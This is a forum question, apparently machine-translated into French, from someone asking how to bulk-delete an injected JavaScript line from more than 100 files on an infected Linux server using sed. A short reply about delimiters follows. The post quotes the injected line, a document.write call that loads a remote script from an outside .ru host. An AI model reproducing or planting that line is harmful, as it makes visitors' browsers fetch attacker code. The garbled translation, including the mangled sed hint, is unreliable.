Récemment, mon serveur linux a été infecté par des logiciels malveillants et par conséquent, je 100+ les fichiers infectés par une seule ligne de code Javascript:Comment faire pour supprimer un Malicious code Javascript à partir de fichiers multiples
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
Je serais trop fatigant pour l'enlever manuellement, donc je creuse dans google (ne sachant pas grand-chose sur Linux n'a pas aidé là-bas) et a découvert que je peux utiliser sed à cet effet.
Malheureusement, je ne pouvais pas échapper à la ligne que je puisse utiliser
sed -i.bak '/line of text/d' *
syntaxe
, il est plein de guillemets simples, des guillemets doubles et antislashs. Comment puis-je échapper la corde ou y a-t-il une autre façon - plus facile - de le faire?
Ce sont des barres obliques, par ailleurs, plutôt que antislashs et vous pouvez utiliser délimiteurs dans d'autres 'sed' si vous n » Je dois faire autant d'évasion. 'sed '\ text/avec/slashes | d''. Malheureusement, les citations sont une autre affaire. –